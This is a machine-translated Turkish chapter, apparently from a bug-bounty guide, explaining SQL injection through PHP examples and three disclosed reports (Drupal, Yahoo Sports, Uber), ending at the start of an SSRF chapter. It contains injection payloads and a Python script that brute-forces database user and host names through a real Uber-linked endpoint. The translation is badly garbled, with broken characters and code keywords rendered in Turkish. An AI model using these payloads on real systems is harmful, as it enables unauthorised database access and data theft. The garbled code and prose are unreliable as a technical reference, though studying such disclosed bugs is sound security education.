https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752
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11. SQL Enjeks�yonu

Açıklama

Yapılandırılmış b�r sorgu d�l� (SQL) enjeks�yonu veya SQL�, b�r güvenl�k açığı oluştuğunda ortaya çıkar.
ver�tabanı destekl� s�te, b�r saldırganın s�ten�n ver�tabanını sorgulamasını veya başka şek�lde saldırmasını sağlar.
SQL� saldırıları çoğu zaman büyük ölçüde ödüllend�r�l�r çünkü yıkıcı olab�l�r. Etk�nleşt�reb�l�rler
b�lg� man�püle etmek veya çıkarmak, hatta b�r yönet�c� oluşturmak �ç�n b�r saldırgan
ver�tabanında kend�ler� �ç�n.

SQL Ver�tabanları

Ver�tabanları, b�lg�ler� b�r tablo koleks�yonunda bulunan kayıtlarda ve alanlarda depolar.
Tablolar b�r veya daha fazla sütun �çer�yor ve tablodak� satır satırdak� kaydı göster�yor
ver� tabanı.

Kullanıcılar oluşturmak �ç�n SQL (yapılandırılmış sorgu d�l�) adlı b�r programlama d�l�ne güven�rler.
ver�tabanındak� kayıtları okuyun, güncelley�n ve s�l�n. Kullanıcı SQL komutları gönder�r.
(ayrıca �fadeler veya sorgular da den�r) ver�tabanına ve komutları varsayarak
kabul ed�ld�ğ�nde, ver�tabanı �fadeler� yorumlar ve bazı eylemler gerçekleşt�r�r. Popüler
SQL ver�tabanları MySQL, Postgresql, MSSQL ve benzer� �çer�r. İç�n MySQL kullanacağız.
Bu bölümün amacı, ancak genel kavramlar tüm SQL ver�tabanları �ç�n geçerl�d�r.

SQL �fadeler�, anahtar kel�meler ve �şlevlerden oluşur. Örneğ�n, aşağıdak�
dey�m�, ver�tabanına kullanıcılardak� ad sütundan b�lg� seçmes�n� söyler.
tablo, ID sütununun 1'e eş�t olduğu kayıtlar �ç�n.

Kullanıcılardan SEÇİN �s�m WHERE �d = 1;



B�rçok web s�tes� b�lg� depolamak ve bu b�lg�ler� kullanmak �ç�n ver�tabanlarına güven�r.
d�nam�k olarak �çer�k oluşturun. Örneğ�n, https://www.leanpub.com/ s�tes� s�z�n
öncek� s�par�şler veya satın aldığınız e-k�tapların l�stes� s�z
hesabınızla g�r�ş yapın. Web tarayıcınız s�ten�n ver�tabanını sorgular ve üret�r
HTML, döndürülen b�lg�lere dayanarak.

B�r MySQL komutu oluşturmak �ç�n sunucunun PHP kodunun teor�k b�r örneğ�ne bakalım
B�r kullanıcı https://www.leanpub.com?name=yaworsk URL’s�n� z�yaret ett�kten sonra :
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$ name = $ _GET ['name'];
$ q = "SELECT * kullanıcılardan NEREDE �s�m = '$ �s�m'";

mysql_query ($ sorgu);

Kod, bel�rt�len URL parametreler�nden ad değer�ne er�şmek �ç�n $ _GET [] kullanır
parantezler� arasında ve değer� $ name değ�şken�nde saklar. Parametre o zaman
$ q değ�şken�ne herhang� b�r ster�l�zasyon yapılmadan geç�ld�. $ Q değ�şken� sorguyu tems�l eder.
ad sütununun eşleşt�ğ� tüm kullanıcılar tablosundan tüm ver�ler� çalıştırmak ve almak �ç�n
name URL parametres�ndek� değer. Sorgu $ q değ�şken�n� �leterek yürütülür.
PHP �şlev� mysql_query �ç�n.

S�ten�n normal met�n �çermes� beklen�yor, ancak kullanıcı kötü amaçlı yazılım g�rerse
g�r�ş test� 'TD 1 = '1 dek� g�b� b�r URL parametres�ne https://www.leanpub.com?name=test OR' 1 =' 1 ,
yürütülen sorgu:

$ query = "SELECT * FROM kullanıcılarından NEREDE name = 'test' OR 1 = '1'";

Kötü amaçlı g�r�ş�m�z, değer test�nden sonra açılıştak� tek tekl�f� (') kapatır ve
SQL code OR 1 = '1 , sorgunun sonuna kadar. YA asılı tek tırnak 1 = '1 açar
G�r�şten sonra kodlanmış olan tekl� tekl�f�n kapanması. Enjekte ed�len sorgu �çermezse
b�r açılış tek tekl�f�, asılı tekl�f SQL sözd�z�m� hatalarına neden olurdu
Sorgunun yürütülmes�n� engellerd�.

SQL, AND ve OR g�b� koşullu operatörler� kullanır. Bu durumda, SQL� değ�şt�r�r
WHERE dey�m�, �s�m sütununun test veya
1 = '1' denklem� true değer�n� döndürür. MySQL yararlı b�r şek�lde tamsayı olarak '1' davranışını dönüştürür ve 1
her zaman 1'e eş�tt�r, koşul doğrudur ve sorgu, kullanıcılar tablosundak� tüm kayıtları döndürür.
Bununla b�rl�kte, enjekte etme test� 'OR 1 =' 1 , sorgunun d�ğer kısımları ster�l�ze ed�ld�ğ�nde çalışmaz.
Örneğ�n, şöyle b�r sorgu olab�l�r:

$ name = $ _GET ['name'];

$ pw = mysql_real_escape_str�ng ($ _ GET ['ş�fre']);

$ query = "SELECT * FROM kullanıcılarından NEREDE name = '$ name' AND pw = '$ pw'";

Bu durumda, parola parametres� de kullanıcı tarafından kontrol ed�l�r, ancak
mysql_real_escape_str�ng �şlev�. Aynı yükü kullanıyorsanız, 'VEYA 1 =' 1’� test ed�n.
adı ve ş�fren�z 12345 �d�, �faden�z şöyle b�tecekt�:



$ query = "SELECT * FROM kullanıcılarından NEREDE �s�m = 'test' VEYA 1 = '1' VE pw = '12345'";

Sorgu, �sm�n test veya 1 = '1' olduğu ve ş�fren�n 12345 olduğu tüm kayıtları arar.
(bu ver�tabanının başka b�r düz met�n ş�fres� sakladığı gerçeğ�n� görmezden geleceğ�z)
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savunma). Ş�fre kontrolü b�r AND �şlec� kullandığından, sorgumuz ger� dönmeyecek
B�r kaydın ş�fres� 12345 olmadığı sürece ver�d�r. Bu, SQL� g�r�ş�m� denemem�ze engel olur, ancak
başka b�r saldırı yöntem� denemekten vazgeçm�yor.

Ekleyerek yapab�leceğ�m�z ş�fre parametres�n� ortadan kaldırmamız gerek�yor ; - , test 'VEYA

1 = '1; - . Bu enjeks�yon �k� şey� gerçekleşt�r�r: noktalı v�rgül (;), SQL dey�m�n� sonlandırır
ve �k� ç�zg� (-) ver�tabanına metn�n ger� kalanının b�r yorum olduğunu söyler. b�z�m
Enjekte ed�len parametre sorguyu SELECT * FROM kullanıcılarından WHERE name = 'test' VEYA 1 = '1' olarak değ�şt�r�r; .
İfade �ç�ndek� AND password = '12345' kodu b�r yorum hal�ne gel�r, bu nedenle komut
tablodak� tüm kayıtları döndürür. Kullanırken - yorum olarak, MySQL'�n
t�re ve kalan sorgudan sonra b�r boşluk gerekt�r�r aks� takd�rde hata döndürür
komutu çalıştırmadan.

SQL�'ye Karşı Alınacak Önlemler

SQL�'y� önlemek �ç�n mevcut olan b�r koruma, ver�tabanı olan �fadelerd�r.
tekrarlanan sorguları yürütmek �ç�n kullanılan özell�k. Hazırlanan �fadeler�n özel detayları
Bu k�tabın kapsamı dışında, ancak sorgular
artık d�nam�k olarak yürütülmemekted�r. Ver�tabanı, şablonlar g�b� sorguları kullanarak
değ�şkenler �ç�n yer tutucular. Sonuç olarak, kullanıcılar b�r sorguya doğrulanmamış ver�ler� geçse b�le,
enjeks�yon, ver�tabanının sorgu şablonunu değ�şt�remez; bu da SQL�'y� engeller.

Ruby on Ra�ls, Django, Symphony ve benzer� web çerçeveler� de yerleş�k olarak sunulur
SQL� önlemeye yardımcı olmak �ç�n Ancak, mükemmel değ�ller ve engelleyemezler
her yerde güvenl�k açığı. Gördüğümüz �k� bas�t SQL� örneğ� �şe yaramaz
s�te gel�şt�r�c�ler� en �y� uygulamaları tak�p etmed�ğ� sürece çerçevelerle oluşturulan s�telerde
veya korumaların otomat�k olarak sağlanmadığını anlamadı. Örneğ�n, s�te
https://www.ra�ls-sql�.org/, sonuçtak� Ra�ls'dek� ortak SQL� kalıplarının b�r l�stes�n� tutar.
gel�şt�r�c� hatalarından. SQL�'y� test ederken, en �y� seçeneğ�n�z daha yaşlıları aramaktır.
özel yapılmış veya kullanılmış web çerçeveler� ve �çer�k yönet�m� g�b� görünen web s�teler�
mevcut s�stemler�n tümleş�k korumalarına sah�p olmayan s�stemler.

Örnekler

1. Drupal SQL Enjeks�yonu

Zorluk : Orta

URL : Sürüm 7.32'den daha az olan herhang� b�r Drupal s�tes�

Rapor Bağlantısı : https://hackerone.com/reports/31756 1

1
https://hackerone.com/reports/31756

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/31756
https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/31756
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Rapor Tar�h� : 17 Ek�m 2014

Ödemel� Ödül : 3000 Dolar

Tanım :

Drupal, çok benzer şek�lde web s�teler� oluşturmak �ç�n kullanılan popüler b�r �çer�k yönet�m s�stem�d�r.
Wordpress ve Joomla'ya. PHP �le yazılmış ve modüler tabanlı, yen� anlam
�şlevsell�ğ� b�r modül kurarak b�r Drupal s�tes�ne ekleneb�l�r. Drupal topluluğu
B�nlerce yazdı ve onları ücrets�z olarak kullandı. Örnekler arasında e-t�caret,
üçüncü taraf entegrasyonu, �çer�k üret�m� vb. Bununla b�rl�kte, her Drupal kurulumunda
Platformu çalıştırmak �ç�n kullanılan aynı çek�rdek modüller kümes� ve
ver� tabanı. Bunlar t�p�k olarak Drupal çek�rdek olarak adlandırılır.

2014 yılında, Drupal güvenl�k ek�b� Drupal çek�rdeğ�ne ac�l b�r güvenl�k güncellemes� yaptı
Tüm Drupal sahalarının, elde ed�leb�lecek b�r SQL enjeks�yonuna karşı savunmasız olduğunu gösteren
anon�m kullanıcılar. Güvenl�k açığının etk�s�, b�r saldırganın ele geç�r�lmes�ne �z�n vereb�l�r
güncellenmem�ş herhang� b�r Drupal s�tes�.

Güvenl�k açığı açısından, Stefan Horst, Drupal gel�şt�r�c�s�n�n
yanlış olab�lecek ver�tabanı sorguları �ç�n sarmalayıcı �şlevsell�ğ�n� yanlış uyguladı
saldırganlar tarafından tac�z ed�lmek. Daha spes�f�k olarak, Drupal PHP Data Objects (PDO) kullanıyordu
ver�tabanına er�şmek �ç�n b�r arayüz olarak. Drupal çek�rdek gel�şt�r�c�ler� kod yazdı
bu PDO �şlevler�n� çağırdı ve Drupal kodunun başka b�r zamanda kullanılması gerekt�ğ�n� söyled�.
gel�şt�r�c�ler b�r Drupal ver�tabanıyla etk�leş�me geçmek �ç�n kod yazıyorlardı. Bu ortak
Yazılım gel�şt�rme prat�ğ�. Bunun neden� Drupal'ın kullanılmasına �z�n vermekt�.
farklı türdek� ver�tabanlarıyla (MySQL, Postgres, vb.) karmaşıklığı kaldırın ve sağlayın
standard�zasyon.

Ş�md�, ded� k�, Stefan, Drupal sarmalayıcı kodunun b�r
SQL sorguya geç�r�len d�z� ver�ler� hakkında yanlış varsayım. İşte or�j�nal
kod:

foreach ($ � => $ değer olarak $ ver�ler�) {

[...]

$ new_keys [$ anahtar. '_' $ �] = $ değer;
}

Hatayı tesp�t edeb�l�r m�s�n�z (yapamazdım)? Gel�şt�r�c�ler varsayımı yaptı
d�z� ver�ler�n�n her zaman 0, 1, 2 vb. g�b� sayısal anahtarlar �çereceğ�n� ($ � değer�)
ve $ key değ�şken�ne $ � ' ye katıldılar ve bunu değere eş�t yaptılar. İşte
Drupal'ın db_query �şlev�nde t�p�k b�r sorgu neye benzerd�:
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db_query ("SELECT * FROM {users} NEREDE AD IN (: name)", d�z� (': name' => array ('us \
er1' , 'kullanıcı2')));

Burada, db_query �şlev� b�r ver�tabanı sorgusu alır SELECT * FROM {users} nerede
name IN (: name) ve sorguda yer tutucuların yer�ne kullanılacak b�r değerler d�z�s�.
PHP'de b�r d�z� d�z� olarak tanımladığınızda ('değer', 'değer2', 'değer3'), aslında [0

⇒ 'değer', 1 ⇒ 'değer2', 2 ⇒ 'değer3'], burada her değere sayısal tuşla er�ş�leb�l�r.
Bu durumda ,: name değ�şken�, [0 ⇒ 'user1', 1 d�z�s�ndek� değerlerle değ�şt�r�ld�.

⇒ 'kullanıcı2']. Bundan ne elde eders�n�z:

SELECT * kullanıcılardan NEREDE �s�m IN (: name_0,: name_1)

Çok �y� çok uzak. Sayısal olmayan b�r d�z� aldığınızda sorun ortaya çıkıyor
tuşları, aşağıdak� g�b�:

db_query ("SELECT * FROM {users} burada ad IN (: name)",

array (': name' => array ('test) -' => 'kullanıcı1', 'test' => 'kullanıcı2')));

Bu durumda : name b�r d�z�d�r ve tuşları 'test) -', 'test' olur . Bunun nerede olduğunu göreb�l�yor musun?
g�d�yor? Drupal bunu aldığında ve sorguyu oluşturmak �ç�n d�z�y� �şled�ğ�nde, b�z
alırdım:

SELECT * kullanıcılardan NEREDE �s�m IN (:: name_test) -,: name_test)

Bunun neden böyle olduğunu anlamak b�raz zor olab�l�r. Açıklanan foreach göre
üstte, Drupal d�z�dek� her b�r öğey� b�rer b�rer geç�r�rd�. Yan� �lk
y�neleme $ � = test) - ve $ value = kullanıcı1 . Ş�md�, $ key sorgudan (: �s�m) ve
$ � �le b�rleşt�r�ld�ğ�nde, name_test) - . İk�nc� y�neleme �ç�n, $ � = test ve $ value
= kullanıcı2 . Yan�, $ key $ � �le b�rleşt�r�ld�ğ�nde, name_test olur . Sonuç, b�r yer tutucusudur
: name_test hang� user2'ye eş�tt�r.

Ş�md�, tüm söylenenlerle Drupal’ın PHP PDO nesneler�n� sarmaladığı gerçeğ� gel�yor.
Oyuna g�r�ld� çünkü PDO çoklu sorgulara �z�n ver�yor. Yan� b�r saldırgan kötü n�yetl� b�r şek�lde geçeb�l�r
g�r�ş, b�r d�z� anahtarı �ç�n kullanıcı yönet�c� kullanıcısı oluşturmak üzere gerçek b�r SQL sorgusu g�b�
B�rden fazla sorgu olarak yorumlanır ve yürütülür.

çıkarımlar

Bu örnek �lg�nçt�, çünkü tek b�r başvuruda bulunma meseles� değ�ld�.
b�r sorgu alıntı ve kırma. Aks�ne, her şey Drupal'ın kodunun ne olduğu �le �lg�l�yd�.
�ç �şleve geç�r�len d�z�ler� kullanma. S�yahla bulmak kolay değ�l.
kutu sınaması (kodu görme er�ş�m�n�z�n olmadığı yer). Gelen paket
Bu, g�rd�ler�n yapısını değ�şt�rme fırsatlarını araştırmaktır.
b�r s�teye. Öyleyse, b�r URL nereye? Parametre olarak, b�r d�z�y� geçmeye çalışırken adını
g�b�? �s�m [] s�ten�n nasıl �dare ett�ğ�n� görmek �ç�n. SQL� �le sonuçlanmayab�l�r, ancak
d�ğer �lg�nç davranışlara yol açar.
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2. Yahoo Spor Kör SQL

Zorluk : Orta

URL : sports.yahoo.com



Rapor Bağlantısı : esevece tumblr2

Rapor Tar�h� : 16 Şubat 2014

Ödemel� Ödül : 3,705 Dolar

Tanım :

Bloguna göre Stefano, year parametres� sayes�nde b�r SQL� güvenl�k açığı buldu
�ç�nde http://sports.yahoo.com/nfl/draft?year=2010&type=20&round=2 . Görev�nden
URL’ye geçerl� b�r yanıt örneğ�:

Yahoo Val�d Response

Ş�md�, �lg�nç b�r şek�lde, Stefano �k� ç�zg� ekled�ğ�nde, -, sorguya. Sonuçlar değ�şt�:

2 https://esevece.tumblr.com
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Yahoo Val�d Response

Bunun neden�, yukarıda sorduğum g�b� - sorguda yorum olarak hareket etmekt�r. Nerede
Yahoo'nun or�j�nal sorgusu şuna benz�yor olab�l�r:

SEÇ * OYUNCULARDAN YIL = 2010 VE TÜR = 20 VE YUVARLAK = 2;

Kısa ç�zg�lerle, Stefano aslında şöyle davranıyordu:

SEÇ * OYUNCULARDAN YILLARIN = 2010;

Bunu kabul ederek, Yahoo'dan ver� tabanı b�lg�ler�n� çıkarmaya başlamak mümkündü.
Örneğ�n, Stefano ver�tabanının ana sürüm numarasını kontrol edeb�ld�
aşağıdak�ler� �çeren yazılımlar:
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Yahoo Ver�tabanı Sürümü

IF �şlev�n� kullanarak, sürümdek� �lk karakter () �se oyuncular �ade ed�l�r
�şlev 5 �d�. IF �şlev� b�r koşul alır ve değer�nden sonra değer� döndürür.
koşul doğru, yanlış �se son parametre. Yan�, yukarıdak� resme dayanarak,
Koşul, sürümdek� �lk karakterd�. Sonuç olarak, ver�tabanı sürümünü b�l�yoruz
sonuç döndürülmed�ğ�nden 5 değ�ld�r (MySQL dolandırıcılık sayfasını kontrol ett�ğ�n�zden em�n olun.
SQL� sınarken ek �şlevsell�k �ç�n Kaynaklar sayfası).

Bunun kör b�r SQL� olarak kabul ed�lmes�n�n neden�, Stefano'nun doğrudan göremed�ğ�d�r.
Sonuçlar; Yahoo sadece oyuncuları �ade ett�ğ� �ç�n sadece ver�tabanı vers�yonunu yazdıramıyor.
Ancak, sorguyu man�püle ederek ve sonuçlarını sonuçlarla karşılaştırarak
temel sorgu (�lk res�m), çıkartmaya devam edeb�lecekd�
Yahoo ver�tabanından b�lg�.

çıkarımlar

SQL�, d�ğer enjeks�yon açıkları g�b�, sömürülmes� zor değ�l. Anahtar
savunmasız olab�lecek parametreler� test etmek. Bu durumda, ç�ft ekleme
dash, Stefano'nun temelde verd�ğ� sorgunun sonuçlarını açık b�r şek�lde değ�şt�rd�
SQL�. Benzer güvenl�k açıklarını ararken, �ncel�kl� olmaya d�kkat et
Kör b�r SQL� kırılganlığının gösterges� olab�leceğ� �ç�n sonuçlarda değ�ş�kl�k yaptı.
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3. Uber Kör SQL�

Zorluk : Orta

URL : http://sctrack.ema�l.uber.com.cn/track/unsubscr�be.do

Rapor Bağlantısı : https://hackerone.com/reports/1501563

Rapor Tar�h� : 18 Temmuz 2016

Ödemel� Ödül : 4000 Dolar

Tanım :

Web sayfalarına ek olarak, kör SQL enjeks�yonları g�b� d�ğer yollar �le elde ed�leb�l�r
e-posta bağlantıları olarak. Temmuz 2016'da Orange Tsa�, Uber'den b�r e-posta reklamı aldı. o
abonel�kten çıkma bağlantısının URL parametres� olarak b�r base64 kodlu d�ze �çerd�ğ�n� fark ett�m.
Bağlantıya benz�yordu:

http: //sctrack.ema�l.uber.com.cn/track/unsubscr�be.do p = eyJ1c2VyX2lkIjogIjU3NTU� \

LCA�cmVjZWl2ZXI�O�A�b3JhbmdlQG15bWFpbCJ9

Base64 döndüren değer� kullanarak eyJ1c2VyX2lkIjogIjU3NTU�LCA� p parametre değer�n�n kodunu çözme
JSON d�zg�s� {"user_�d": "5755", "alıcı": "orange @ myma�l"} . B�r zamanlar Orange ...
kodlanmış d�zg�y� kodladı ve kodlanan p URL parametres�ne sleep (12) = 1 komutunu ekled�,
hang� ver�tabanı yanıt vermes� daha uzun sürdüğü �ç�n tasarlanmış zararsız b�r enjeks�yon
abonel�k �ptal� �şlem� {"user_�d": "5755 ve uyku (12) = 1", "alıcı": "orange @ myma�l"} . Eğer b�r s�te
savunmasızdır, sorgu yürütmes� uykuyu değerlend�r�r (12) ve 12 �ç�n �şlem yapmaz
sleep komutunun çıktısını 1 �le karşılaştırmadan önce b�rkaç san�ye. MySQL'de uyku

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/150156


komut normalde 0 döndürür, bu nedenle bu karşılaştırma başarısız olur, ancak bu öneml� değ�l
yürütme en az 12 san�ye sürecekt�r.

Orange, değ�şt�r�len yükü yen�den kodladıktan sonra yükü URL’ye aktardı.
parametre, HTTP yanıtının en az 12 olduğunu doğrulamak �ç�n abonel�k �ptal� bağlantısını z�yaret ett�.
san�ye. Ancak Orange, göndermek �ç�n SQL�'n�n daha somut b�r kanıtına �ht�yacı olduğuna karar verd�.
Uber’e, kullanıcı adını, ana b�lg�sayar adını ve ver�tabanının adını atmaya karar verd�.
B�r SQL�'den b�lg� çıkarma yeteneğ�n� gösterd�ğ�nden ber� kaba kuvvet kullanma
g�zl� ver�lere er�şmeden.

SQL, kullanıcı adını ve ver�tabanının ana b�lg�sayar adını döndüren kullanıcı adlı b�r �şleve sah�pt�r.
<user> @ <host> b�ç�m�nde . Çünkü Orange, enjekte ett�ğ� yerden çıktıya er�şemed�.
sorgular, bas�tçe kullanıcı arayamadı. Bunun yer�ne, Turuncu b�r sorgu eklemek �ç�n sorgusunu değ�şt�rd�.
Sorgunun kullanıcı k�ml�ğ�ne bakıp koşulsuz b�r karakter olup olmadığını kontrol ed�n.
Ver�tabanının kullanıcı adı ve ana b�lg�sayar adı, orta �şlev� kullanan b�r anda d�ze. Benzer
Yahoo Sports kör SQL� öncek� hata raporundan, Orange b�r karşılaştırma kullandı
kullanıcı adının ve ana b�lg�sayar adı d�zes�n�n her karakter�n� türetecek �fade.

3 https://hackerone.com/reports/150156
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Örneğ�n, b�r karşılaştırma �fades� kullanarak b�r kullanıcı adı ve ana b�lg�sayar adı bulmak
kaba kuvvet, Orange kullanıcı �şlev�nden döndürülen değer�n �lk karakter�n� aldı.
orta �şlev� kullanarak ve karakter�n 'a', sonra 'b' ye eş�t olup olmadıklarını karşılaştırarak,
sonra 'c' vb. Karşılaştırma b�ld�r�m� doğru olsaydı, sunucu yürütürdü
abonel�kten çıkma komutu kullanıcı �şlev�n�n �lk karakter�n�n
return değer�, karşılaştırıldığı karaktere eş�tt�r. Aks� takd�rde, eğer �fade
Sahte olsaydı, sunucu abonel�ğ�nden çıkmayı denemezd�. Her karakter� kontrol ederek
Bu fonks�yon �le kullanıcı fonks�yonunun ger� dönüş değer�, Orange sonunda mümkün olacak
tüm kullanıcı adını ve ana b�lg�sayar adını türet�n.

B�r d�zgey� elle zorla kaldırmak, zaman alacaktır, bu yüzden Orange b�r Python bet�ğ� yarattı.
Uber’e yükler�n� kend� adına yükler ve gönder�rd�:

json �thal

�thalat d�zes�

�thalat �stekler�

dan urll�b �thalat alıntı

dan base64 �thalat b64encode
base = str�ng . basamak + d�ze . harfler + '_- @.'

payload = { "user_�d" : 5755 , "alıcı" : "blog.orange.tw" }

�ç�n l olarak aralık ( 0 , 30 ):
�ç�n I �ç�nde b�r baz:

yük [[ user_�d ' ] = "5755 ve orta (kullanıcı (), % d , 1) =' % c '#" % (l + 1 , �)

new_payload = json . dökümler� (payload)
new_payload = b64encode (new_payload)

r = �stek . almak ( 'http://sctrack.ema�l.uber.com.cn/track/unsubscr�be.do? \

p = ' + alıntı (new_payload))
eğer len (r . �çer�ğ�) > 0 :

� yazdır

mola

https://translate.google.com/translate?hl=tr&prev=_t&sl=auto&tl=tr&u=https://hackerone.com/reports/150156


Python kodu, kütüphaneler� alan beş satırlık �mport �fades�yle başlar.Orange'ın HTTP �stekler�n�, JSON ve str�ng kodlamalarını �şlemes� gerek�yor.

B�r ver�tabanı kullanıcı adı ve ana b�lg�sayar adı, herhang� b�r büyük harf komb�nasyonundan oluşab�l�r.
harfler, küçük harfler, sayılar, kısa ç�zg�ler (-), alt ç�zg�ler (_), (@) �şaretler�nde veya noktalarda
(.). Turuncu, bu karakterler� tutmak �ç�n temel değ�şken� yaratır. Sonra b�r değ�şken yaratır
bet�ğ�n sunucuya gönderd�ğ� yükü tutmak. İç�nde � �ç�n �lk satır
baz for döngüler kullanılarak oluşturulan gerçek enjeks�yondur.

Sana kod boyunca yürüyeceğ�m. Orange, kullanıcı k�ml�ğ�n�, 5755, user_�d d�zg�s�ne başvuruyor
onun yükünü oluşturmak �ç�n yük değ�şken�nde tanımlandığı g�b�. Orta �şlev� kullanır ve
d�ze �şleme bu bölümdek� Yahoo hataya benzer b�r yük oluşturmak �ç�n.
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Yüktek�% d ve% c, str�ng değ�şt�rme yer tutuculardır. % D ver� �ç�n kullanılır
karakter ver�s� �ç�n b�r rakam ve% c'y� tems�l eder.

Yük d�zes� ç�ft tırnak (()) �le başlar ve �k�nc� ç�ft�n sonunda b�ter.
üçüncü yüzde sembolünden önce ç�ft tırnak. Yüzde üçüncü sembol Python'a söyler
% d ve% c yer tutucularını, �ç�ndek� yüzde sembolünü �zleyen değerlerle değ�şt�rmek
Parantezler. Bu, kodun% d'y� l + 1 �le değ�şt�rd�ğ� anlamına gel�r (değ�şken l artı
sayı 1) ve% c, � değ�şken�yle. Hash (#), yorum yapmanın başka b�r yoludur
MySQL ve Orange'ın enjeks�yonunu tak�ben sorgunun herhang� b�r bölümünü yorum hal�ne get�r�yor.

L ve � değ�şkenler� döngü y�neley�c�lerd�r. L'ye �lk g�rd�ğ�m�zde (0,30), l
l değer�, kullanıcı adındak� ve ana mak�ne d�zg�s�n�n döndürdüğü poz�syondur.
bet�ğ�n kaba kuvvet uygulamaya çalıştığı kullanıcı �şlev�. Bet�k b�r poz�syona g�rd�ğ�nde
kullanıcı adı ve test ett�ğ� ana b�lg�sayar adı d�zes�nde y�nelenen b�r �ç �çe döngü g�rer�z
Temel d�zedek� her karakter�n üzer�nde Senaryo �lk defa her �k�s�n� de y�neled�ğ�nde
döngüler, ben 0 olacağım ve ben de olacağım. Bu değerler oluşturmak �ç�n orta �şleve geç�r�l�r.
"5755 ve orta (kullanıcı (), 0,1) = 'a' #" yükü .

İç �çe geçme �ç�n sonrak� y�nelemede, l değer� hala 0, � de b olacaktır.
"5755 ve orta (kullanıcı (), 0,1) = 'b' #" yükünü yarat . L poz�syonu olduğu g�b� sab�t kalacaktır
Döngü yükü oluşturmak �ç�n her karakter temelde olsa y�nelen�r.

Her yen� b�r yük oluşturulduğunda, kod yükü JSON'a dönüştürür, yen�den kodlar
base64encode �şlev�n� kullanan d�ze, HTTP �steğ�n� sunucuya gönder�r.
Kod, sunucunun b�r mesajla yanıt ver�p vermed�ğ�n� kontrol eder. İ �ç�ndek� karakter eşleş�rse
test ed�len poz�syondak� kullanıcı adı alt d�zg�s�, komut dosyası karakterler� test etmey� durdurur
bu konumda ve kullanıcı d�zes�nde b�r sonrak� konuma geçer. İç �çe döngü
kırılır ve tekrar devreye g�rer, k� b�r sonrak� poz�syonu test etmek �ç�n l değer�nde 1 artar
kullanıcı adı d�zes�.

Bu kavram kanıtı, Orange'ın ver�tabanı kullanıcı adını ve ana b�lg�sayarını onaylamasına �z�n verd�.
�s�m sendcloud_w@10.9.79.210 ve ver�tabanı �sm� sendcloud �d� (
ver�tabanı adı, kullanıcıyı ver�tabanı �le değ�şt�r. Rapora cevaben, Uber onayladı
SQL enjeks�yonu sunucularında gerçekleşmem�ş. Enjeks�yon üçüncü-
part� Uber kullanıyordu ama y�ne de b�r ödül öded�. Tüm ödül programları yapmaz
Aynı hassas b�r h�zmet�n kend�ler� olmaması durumunda. Uber muhtemelen ödül aldı çünkü
Su�st�mal, b�r saldırganın Uber’�n tüm müşter� e-posta adresler�n�
sendcloud ver�tabanı.

Orange'ın yaptığı g�b� kend� scr�ptler�n�z� yazab�l�yorken ver� tabanından b�lg� almak �ç�n
savunmasız b�r web s�tes� olarak, otomat�k araçları da kullanab�l�rs�n�z. Bunun Kaynaklar bölümü
Bu k�tap, SQLMap hakkında böyle b�r araç hakkında b�lg� �çer�r.
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çıkarımlar

Kodlanmış parametreler� kabul eden HTTP �stekler�ne d�kkat ed�n. Senden sonra
sorguyu kodunu çöz ve enjekte et, yükünü yen�den kodladığından em�n ol
bu yüzden her şey hala ver�tabanını kodlamayı bekl�yor.

B�r ver�tabanı adı, kullanıcı adı ve ana b�lg�sayar adının çıkarılması genell�kle göz önünde bulundurulur
zararsız, ancak ödül programının �z�n ver�len eylemler� �ç�nde olduğundan em�n olun.
çalışıyorsunuz. Bazı durumlarda, uyku komutu �spatı �ç�n yeterl�d�r.
kavramı.

özet

SQL�, b�r s�te �ç�n öneml� b�r güvenl�k açığı ve tehl�kel� olab�l�r. B�r saldırgan olsaydı
b�r SQL� bulmak, onlar b�r s�teye tam �z�nler� almak mümkün olab�l�r. Bazı durumlarda
SQL�, yönet�me olanak sağlayan ver�tabanına ver� eklenerek artırılab�l�r.
Drupal örneğ�nde olduğu g�b� s�tedek� �z�nler. SQL� açıklarını ararken,
tek tek veya ç�ft tırnak �şaret�nden geç�r�lemeyen yerlere d�kkat ed�n.
sorgu. B�r güvenl�k açığı bulduğunuzda, güvenl�k açığının bulunduğunu bel�rten göstergeler
kör enjeks�yonlarla olduğu g�b� �nce olun. Ayrıca yapab�leceğ�n�z yerler� de aramalısınız.
b�r s�teye, d�z�n�n yer�n� alab�leceğ�n�z yerler g�b� beklenmeyen şek�llerde ver� �letme
Uber böcek�ndek� g�b� �stek ver�s�ndek� parametreler.
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Açıklama

Sunucu tarafı �steğ� sahtec�l�ğ� veya SSRF, b�r saldırganın b�r güvenl�k açığı oluşturab�ld�ğ� b�r güvenl�k açığıdır.
Sunucu �stenmeyen ağ �stekler� gerçekleşt�r�r. SSRF'ler b�r tanes�ne sah�p olan CSRF'ye benzer
farkı. B�r CSRF saldırısının kurbanı b�r kullanıcı �ken, SSRF kurbanı web s�tes�n�n kend�s�d�r.
CSRF'de olduğu g�b�, SSRF açıkları da etk� ve uygulama yöntemler�nde değ�ş�kl�k göstereb�l�r. Bunda
k�tap, HTTP �stekler�ne odaklanacağız, ancak SSRF başka protokollerden de yararlanab�l�r.

HTTP İsteğ� Konumu

Web s�tes�n�n nasıl organ�ze ed�ld�ğ�ne bağlı olarak, SSRF’ye karşı hassas olan b�r sunucuyu
B�r dah�l� ağa veya har�c� adreslere b�r HTTP �steğ� yapın. Savunmasız
Sunucunun �stek yapma yeteneğ�, SSRF �le neler yapab�leceğ�n�z� bel�rler.

Bazı büyük web s�teler�nde, har�c� �nternet traf�ğ�n�n er�şmes�n� yasaklayan güvenl�k duvarları bulunur.
Örneğ�n, dah�l� sunucularda halka açık sınırlı sayıda web s�tes� olacaktır.
z�yaretç�lerden HTTP �stekler� alan ve �stekler� d�ğer sunuculara gönderen sunucular
halka açık er�ş�lemez. Bunun ortak b�r örneğ�, ver� tabanı sunucularıdır.
genell�kle �nternete er�ş�lemez. Böyle b�r s�teye g�r�ş yaparken,
düzenl� b�r web formu aracılığıyla kullanıcı adı ve ş�fre. Web s�tes� s�ze
HTTP �steğ� ve k�ml�k b�lg�ler� �le ver�tabanı sunucusuna kend� �steğ�n� gerçekleşt�rmek,
